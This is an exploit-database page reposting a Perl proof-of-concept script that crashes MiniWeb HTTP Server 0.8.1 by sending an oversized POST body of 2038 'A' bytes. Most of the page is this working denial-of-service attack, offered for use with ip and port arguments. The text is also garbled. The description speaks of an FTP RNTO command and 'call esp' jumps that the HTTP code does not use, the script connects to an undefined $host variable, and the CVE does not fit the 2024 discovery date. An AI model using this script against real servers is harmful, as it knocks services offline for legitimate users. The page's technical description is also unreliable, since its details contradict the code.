Advertisement






MiniWeb HTTP Server 0.8.1 - Denied of Service (DoS)

CVE Category Price Severity
CVE-2013-2255 CWE-399 $700 High
Author Risk Exploitation Type Date
hyp3rlinx High Remote 2024-01-22
CVSS EPSS EPSSP
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H 0.02192 0.50148

CVSS vector description

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2024010063

Below is a copy:

MiniWeb HTTP Server 0.8.1 - Denied of Service (DoS)
#!/usr/bin/perl

use IO::Socket;

# Exploit Title: MiniWeb HTTP Server 0.8.1 - Denied of Service (DoS)
# Discovery by: Fernando Mengali
# Discovery Date: 19 january 2024
# Vendor Homepage:  N/A
# Download to demo: https://drive.google.com/file/d/1AVHSlsYj5Ukw9co9M2Ql6RsqCTzbI038/view?usp=sharing  
# Notification vendor: No reported
# Tested Version: MiniWeb HTTP Server 0.8.1 - Denied of Service (DoS)
# Tested on: Window XP Professional - Service Pack 2 and 3 - English
# Vulnerability Type: Denied of Service (DoS)
# Vdeo: https://www.youtube.com/watch?v=HbAy3RvHpAI

#1. Description

#His technique works fine against Windows XP Professional Service Pack 2 and 3 (English).
#For this exploit I have tried several strategies to increase reliability and performance:
#Jump to a static 'call esp'
#Backwards jump to code a known distance from the stack pointer.
#The FTP server does not correctly handle the amount of data or bytes sent to command RNTO.
#When authenticating to the FTP server with a large number of characters for the server to process, the server will crash as soon as it is received and processed, causing Denied of service conditions.
#Successful exploitation of these issues allows remote attackers to crash the affected server, denying service to legitimate users.

#2. Proof of Concept - PoC

    $sis="$^O";

    if ($sis eq "windows"){
      $cmd="cls";
    } else {
      $cmd="clear";
    }

    system("$cmd");
    
    intro();
    main();
    
    print "[+] Exploiting... \n";

    my $payload = "\x41" x 2038;

    my $http_req = "POST /index.html HTTP/1.1\r\n";
    $http_req .= "Host: $ip\r\n";
    $http_req .= "From: header-data\r\n";
    $http_req .= "Content-Type: application/x-www-form-urlencoded\r\n\r\n";
    $http_req .= $payload;

my $socket = IO::Socket::INET->new(
    PeerAddr => $host,
    PeerPort => $port,
    Proto    => 'tcp'
) or die "[-] Could not connect\n";

$socket->send($http_req);
$socket->close();

    print "[+] Done - Exploited success!!!!!\n\n";
  
   sub intro {
      print q {


                            _/|     
                         // o\    
                         || ._)  
                         //__\   
                         )___(   

    [+] MiniWeb HTTP Server 0.8.1 - Denied of Service (DoS)

    [*] Coded by Fernando Mengali

    [@] e-mail: [email protected]

      }
  }

  sub main {

our ($ip, $port) = @ARGV;

      unless (defined($ip) && defined($port)) {

        print "       \nUsage: $0 <ip> <port>                 \n";
        exit(-1);

      }
  }

Copyright ©2024 Exploitalert.

This information is provided for TESTING and LEGAL RESEARCH purposes only.
All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use and Privacy Policy and Impressum